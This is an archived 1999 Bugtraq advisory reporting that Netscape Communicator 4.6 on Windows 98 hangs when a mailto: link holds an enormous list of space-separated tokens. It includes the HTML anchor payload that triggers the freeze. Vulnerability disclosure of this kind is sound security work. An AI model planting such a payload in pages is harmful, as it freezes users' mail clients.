[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    Netscape 4.6 DoS
From:       Philip Stoev <philip () EINET ! BG>
Date:       1999-06-30 16:57:40
[Download RAW message or body]


Netscape 4.6 Win98 (possibly other versions as well) process mailto: URLs so
that each item in the URL becomes a recepient of the empty message that
opens up for editing.

Therefore, an URL like:

<a href="mailto:
["a " repeated 10000000 times]
"> Click here </a>

such as:

<a href="mailto:
a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a
"> Click here </a>

will make Communicator open up an email message and start inserting hundreds
of recepients into the header part, effectively shutting down until this
process is complete (minutes or more?).


Philip Stoev - http://jobs.einet.bg/philip.html
Get your job @ EuroIntegra e-JOBS (http://jobs.einet.bg)


["Philip Stoev.vcf" (text/x-vcard)]

[prev in list] [next in list] [prev in thread] [next in thread]